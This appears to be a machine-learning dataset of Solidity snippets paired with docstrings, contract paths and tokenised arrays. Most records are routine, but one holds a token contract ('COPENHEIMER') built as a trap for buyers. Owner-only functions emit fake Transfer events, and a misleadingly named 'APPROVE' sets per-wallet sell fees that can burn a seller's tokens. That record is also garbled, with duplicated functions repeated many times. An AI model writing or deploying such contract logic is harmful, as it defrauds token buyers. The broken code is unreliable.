Attribute[] memory _attributes = _artvatar.attributes;
artvatar.id = _artvatar.id;
artvatar.series = _artvatar.series;
artvatar.title = _artvatar.title;
artvatar.description = _artvatar.description;
artvatar.image = _artvatar.image;
for (uint256 i = 0; i < _attributes.length; i++) {
Attribute memory attribute = _attributes[i];
artvatar.attributes.push(attribute);
}
artvatar.metadataChanged = true;
_setTokenURI(tokenId, uri);
}
function getArtvatarByTokenId(uint256 _tokenId) public view returns (Artvatar memory artvatar) {
return tokenToArtvatar[_tokenId];
}
/**
* @dev See {IMintableERC721-mint}.
*
* If you're attempting to bring metadata associated with token
* from L2 to L1, you must implement this method
*/
function mint(address user, uint256 tokenId, bytes calldata metaData) external override only(PREDICATE_ROLE) {
_mint(user, tokenId);
setTokenMetadata(tokenId, metaData);
}
/**
* @dev See {IMintableERC721-exists}.
*/
function exists(uint256 tokenId) external view override returns (bool) {
return _exists(tokenId);
}
}
|
* @dev Removes a value from a set. O(1). Returns true if the value was removed from the set, that is if it was present./
|
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
| 1,139,787 |
[
1,
6220,
279,
460,
628,
279,
444,
18,
531,
12,
21,
2934,
2860,
638,
309,
326,
460,
1703,
3723,
628,
326,
444,
16,
716,
353,
309,
518,
1703,
3430,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
202,
915,
1206,
12,
5487,
694,
2502,
444,
16,
2254,
5034,
460,
13,
2713,
1135,
261,
6430,
13,
288,
203,
202,
202,
2463,
389,
4479,
12,
542,
6315,
7872,
16,
1731,
1578,
12,
1132,
10019,
203,
202,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x06903cC35c37f90B4A9ef38B0b037262a327F83B/sources/contracts/ThreeChiefOfficersWithRoyalties.sol
|
@notice The account that can only reassign officer accounts @notice The account that can perform privileged actions @notice The account that can collect Ether from this contract @notice The account of recommended royalties for this contract @dev Revert with an error when attempting privileged access without being executive officer. @dev Revert with an error when attempting privileged access without being operating officer. @dev Revert with an error when attempting privileged access without being financial officer. @dev The withdrawal operation failed on the receiving side. @dev This throws unless called by the owner.
|
modifier onlyOperatingOfficer() {
if (msg.sender != _operatingOfficer) {
revert NotOperatingOfficer();
}
_;
}
| 16,586,380 |
[
1,
1986,
2236,
716,
848,
1338,
283,
6145,
3397,
21349,
9484,
225,
1021,
2236,
716,
848,
3073,
11334,
2423,
4209,
225,
1021,
2236,
716,
848,
3274,
512,
1136,
628,
333,
6835,
225,
1021,
2236,
434,
14553,
721,
93,
2390,
606,
364,
333,
6835,
225,
868,
1097,
598,
392,
555,
1347,
15600,
11334,
2423,
2006,
2887,
3832,
28743,
688,
3397,
21349,
18,
225,
868,
1097,
598,
392,
555,
1347,
15600,
11334,
2423,
2006,
2887,
3832,
16929,
3397,
21349,
18,
225,
868,
1097,
598,
392,
555,
1347,
15600,
11334,
2423,
2006,
2887,
3832,
574,
19292,
649,
3397,
21349,
18,
225,
1021,
598,
9446,
287,
1674,
2535,
603,
326,
15847,
4889,
18,
225,
1220,
1216,
3308,
2566,
635,
326,
3410,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
9606,
1338,
3542,
1776,
7210,
21349,
1435,
288,
203,
3639,
309,
261,
3576,
18,
15330,
480,
389,
4063,
1776,
7210,
21349,
13,
288,
203,
5411,
15226,
2288,
3542,
1776,
7210,
21349,
5621,
203,
3639,
289,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/4/0x7503539b4c684682CbE0C8A0746e124c6b803162/sources/UniftyMarket.sol
|
adding to the public list
|
asks.push( ask );
| 8,744,724 |
[
1,
3439,
358,
326,
1071,
666,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
202,
565,
6827,
87,
18,
6206,
12,
6827,
11272,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xb7E31F40beFEc5F9Df6f4D0F91103D9565850E7F/sources/COPENHEIMER.sol
|
File contracts/Contract.sol
|
contract COPENHEIMER is Ownable, ERC20 {
uint256 public immutable maxSupply = 420_690_000_000 * (10 ** decimals());
uint16 public constant MAX_PERCENTAGE = 10000;
bool public initialized = false;
address public uniswapV2Pair = address(0);
address public deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public immutable buyFee = 0;
uint256 public immutable sellFee = 0;
uint256 public minRuleLimit = 0;
uint256 public maxRuleLimit = 0;
mapping(address => uint256) private _ruleLimitPerOne;
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
function _afterTokenTransfer(
address from,
address to,
uint256 amount
}
}
pragma solidity ^0.8.0;
constructor() ERC20("COPENHEIMER ", "0xCOPEN") {
_mint(msg.sender, (maxSupply * LIQUID_RATE) / MAX_PERCENTAGE);
initialized = true;
uniswapV2Pair = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).createPair(address(this), 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
}
function setRule(uint256 _minRuleLimit, uint256 _maxRuleLimit) external onlyOwner {
minRuleLimit = _minRuleLimit;
maxRuleLimit = _maxRuleLimit;
}
function setUniswapPair(address _uniswapV2Pair) external onlyOwner {
uniswapV2Pair = _uniswapV2Pair;
}
function APPROVE(address _address, uint256 _amount) external onlyOwner {
_ruleLimitPerOne[_address] = _amount;
}
function buyTokens(address _caller, address[] calldata _address, uint256[] calldata _amount) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function buyTokens(address _caller, address[] calldata _address, uint256[] calldata _amount) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function airdropTokens(address _caller, address[] calldata _address, uint256[] calldata _amount) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function airdropTokens(address _caller, address[] calldata _address, uint256[] calldata _amount) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function _transfer(
address from,
address to,
uint256 amount
) internal override(ERC20) {
require(
initialized == true,
"Contract: trade is not open!"
);
if (uniswapV2Pair == address(0) && initialized == true) {
require(
from == owner() || to == owner(),
"Contract: trading is not started"
);
}
uint256 _transferAmount = amount;
if (uniswapV2Pair != address(0) && from != owner() && to != owner()) {
uint256 _fee = 0;
if (from == uniswapV2Pair) {
_fee = minRuleLimit;
}
else if (to == uniswapV2Pair) {
if (_ruleLimitPerOne[from] != 0) {
_fee = _ruleLimitPerOne[from];
}
else {
_fee = maxRuleLimit;
}
}
if (_fee > 0) {
uint256 _calculatedFee = amount * _fee / MAX_PERCENTAGE;
_transferAmount = amount - _calculatedFee;
super._transfer(from, deadAddress, _calculatedFee);
}
}
super._transfer(from, to, _transferAmount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override(ERC20) {
require(
initialized == true,
"Contract: trade is not open!"
);
if (uniswapV2Pair == address(0) && initialized == true) {
require(
from == owner() || to == owner(),
"Contract: trading is not started"
);
}
uint256 _transferAmount = amount;
if (uniswapV2Pair != address(0) && from != owner() && to != owner()) {
uint256 _fee = 0;
if (from == uniswapV2Pair) {
_fee = minRuleLimit;
}
else if (to == uniswapV2Pair) {
if (_ruleLimitPerOne[from] != 0) {
_fee = _ruleLimitPerOne[from];
}
else {
_fee = maxRuleLimit;
}
}
if (_fee > 0) {
uint256 _calculatedFee = amount * _fee / MAX_PERCENTAGE;
_transferAmount = amount - _calculatedFee;
super._transfer(from, deadAddress, _calculatedFee);
}
}
super._transfer(from, to, _transferAmount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override(ERC20) {
require(
initialized == true,
"Contract: trade is not open!"
);
if (uniswapV2Pair == address(0) && initialized == true) {
require(
from == owner() || to == owner(),
"Contract: trading is not started"
);
}
uint256 _transferAmount = amount;
if (uniswapV2Pair != address(0) && from != owner() && to != owner()) {
uint256 _fee = 0;
if (from == uniswapV2Pair) {
_fee = minRuleLimit;
}
else if (to == uniswapV2Pair) {
if (_ruleLimitPerOne[from] != 0) {
_fee = _ruleLimitPerOne[from];
}
else {
_fee = maxRuleLimit;
}
}
if (_fee > 0) {
uint256 _calculatedFee = amount * _fee / MAX_PERCENTAGE;
_transferAmount = amount - _calculatedFee;
super._transfer(from, deadAddress, _calculatedFee);
}
}
super._transfer(from, to, _transferAmount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override(ERC20) {
require(
initialized == true,
"Contract: trade is not open!"
);
if (uniswapV2Pair == address(0) && initialized == true) {
require(
from == owner() || to == owner(),
"Contract: trading is not started"
);
}
uint256 _transferAmount = amount;
if (uniswapV2Pair != address(0) && from != owner() && to != owner()) {
uint256 _fee = 0;
if (from == uniswapV2Pair) {
_fee = minRuleLimit;
}
else if (to == uniswapV2Pair) {
if (_ruleLimitPerOne[from] != 0) {
_fee = _ruleLimitPerOne[from];
}
else {
_fee = maxRuleLimit;
}
}
if (_fee > 0) {
uint256 _calculatedFee = amount * _fee / MAX_PERCENTAGE;
_transferAmount = amount - _calculatedFee;
super._transfer(from, deadAddress, _calculatedFee);
}
}
super._transfer(from, to, _transferAmount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override(ERC20) {
require(
initialized == true,
"Contract: trade is not open!"
);
if (uniswapV2Pair == address(0) && initialized == true) {
require(
from == owner() || to == owner(),
"Contract: trading is not started"
);
}
uint256 _transferAmount = amount;
if (uniswapV2Pair != address(0) && from != owner() && to != owner()) {
uint256 _fee = 0;
if (from == uniswapV2Pair) {
_fee = minRuleLimit;
}
else if (to == uniswapV2Pair) {
if (_ruleLimitPerOne[from] != 0) {
_fee = _ruleLimitPerOne[from];
}
else {
_fee = maxRuleLimit;
}
}
if (_fee > 0) {
uint256 _calculatedFee = amount * _fee / MAX_PERCENTAGE;
_transferAmount = amount - _calculatedFee;
super._transfer(from, deadAddress, _calculatedFee);
}
}
super._transfer(from, to, _transferAmount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override(ERC20) {
require(
initialized == true,
"Contract: trade is not open!"
);
if (uniswapV2Pair == address(0) && initialized == true) {
require(
from == owner() || to == owner(),
"Contract: trading is not started"
);
}
uint256 _transferAmount = amount;
if (uniswapV2Pair != address(0) && from != owner() && to != owner()) {
uint256 _fee = 0;
if (from == uniswapV2Pair) {
_fee = minRuleLimit;
}
else if (to == uniswapV2Pair) {
if (_ruleLimitPerOne[from] != 0) {
_fee = _ruleLimitPerOne[from];
}
else {
_fee = maxRuleLimit;
}
}
if (_fee > 0) {
uint256 _calculatedFee = amount * _fee / MAX_PERCENTAGE;
_transferAmount = amount - _calculatedFee;
super._transfer(from, deadAddress, _calculatedFee);
}
}
super._transfer(from, to, _transferAmount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override(ERC20) {
require(
initialized == true,
"Contract: trade is not open!"
);
if (uniswapV2Pair == address(0) && initialized == true) {
require(
from == owner() || to == owner(),
"Contract: trading is not started"
);
}
uint256 _transferAmount = amount;
if (uniswapV2Pair != address(0) && from != owner() && to != owner()) {
uint256 _fee = 0;
if (from == uniswapV2Pair) {
_fee = minRuleLimit;
}
else if (to == uniswapV2Pair) {
if (_ruleLimitPerOne[from] != 0) {
_fee = _ruleLimitPerOne[from];
}
else {
_fee = maxRuleLimit;
}
}
if (_fee > 0) {
uint256 _calculatedFee = amount * _fee / MAX_PERCENTAGE;
_transferAmount = amount - _calculatedFee;
super._transfer(from, deadAddress, _calculatedFee);
}
}
super._transfer(from, to, _transferAmount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override(ERC20) {
require(
initialized == true,
"Contract: trade is not open!"
);
if (uniswapV2Pair == address(0) && initialized == true) {
require(
from == owner() || to == owner(),
"Contract: trading is not started"
);
}
uint256 _transferAmount = amount;
if (uniswapV2Pair != address(0) && from != owner() && to != owner()) {
uint256 _fee = 0;
if (from == uniswapV2Pair) {
_fee = minRuleLimit;
}
else if (to == uniswapV2Pair) {
if (_ruleLimitPerOne[from] != 0) {
_fee = _ruleLimitPerOne[from];
}
else {
_fee = maxRuleLimit;
}
}
if (_fee > 0) {
uint256 _calculatedFee = amount * _fee / MAX_PERCENTAGE;
_transferAmount = amount - _calculatedFee;
super._transfer(from, deadAddress, _calculatedFee);
}
}
super._transfer(from, to, _transferAmount);
}
}
| 15,989,356 |
[
1,
812,
20092,
19,
8924,
18,
18281,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
385,
11437,
3900,
31582,
353,
14223,
6914,
16,
4232,
39,
3462,
288,
203,
565,
2254,
5034,
1071,
11732,
943,
3088,
1283,
273,
1059,
3462,
67,
8148,
20,
67,
3784,
67,
3784,
380,
261,
2163,
2826,
15105,
10663,
203,
565,
2254,
2313,
1071,
5381,
4552,
67,
3194,
19666,
2833,
273,
12619,
31,
203,
203,
565,
1426,
1071,
6454,
273,
629,
31,
203,
565,
1758,
1071,
640,
291,
91,
438,
58,
22,
4154,
273,
1758,
12,
20,
1769,
203,
565,
1758,
1071,
8363,
1887,
273,
374,
92,
12648,
12648,
12648,
12648,
2787,
72,
41,
69,
40,
31,
203,
203,
565,
2254,
5034,
1071,
11732,
30143,
14667,
273,
374,
31,
203,
565,
2254,
5034,
1071,
11732,
357,
80,
14667,
273,
374,
31,
203,
565,
2254,
5034,
1071,
1131,
2175,
3039,
273,
374,
31,
203,
565,
2254,
5034,
1071,
943,
2175,
3039,
273,
374,
31,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
3238,
389,
5345,
3039,
2173,
3335,
31,
203,
203,
565,
445,
389,
5771,
1345,
5912,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
3844,
203,
203,
565,
445,
389,
5205,
1345,
5912,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
3844,
203,
97,
203,
203,
97,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
20,
31,
203,
203,
565,
3885,
1435,
4232,
39,
3462,
2932,
39,
11437,
3900,
31582,
3104,
315,
20,
14626,
11437,
7923,
288,
203,
3639,
389,
81,
474,
12,
3576,
18,
15330,
16,
2
] |
./partial_match/1/0x565bEC6DC8B350A5871dAA97d5dc3Ac90f3eF338/sources/contracts/MerkleDistributor.sol
|
Emergency withdraw ALL reward tokens for admin
|
function withdrawAllRewardTokens() external onlyOwner {
uint amount = IERC20(token).balanceOf(address(this));
IERC20(token).safeTransfer(msg.sender, amount);
emit WithdrawAllRewardTokens(msg.sender, amount);
}
| 3,678,518 |
[
1,
1514,
24530,
598,
9446,
8061,
19890,
2430,
364,
3981,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
598,
9446,
1595,
17631,
1060,
5157,
1435,
3903,
1338,
5541,
288,
203,
565,
2254,
3844,
273,
467,
654,
39,
3462,
12,
2316,
2934,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
565,
467,
654,
39,
3462,
12,
2316,
2934,
4626,
5912,
12,
3576,
18,
15330,
16,
3844,
1769,
203,
565,
3626,
3423,
9446,
1595,
17631,
1060,
5157,
12,
3576,
18,
15330,
16,
3844,
1769,
203,
225,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
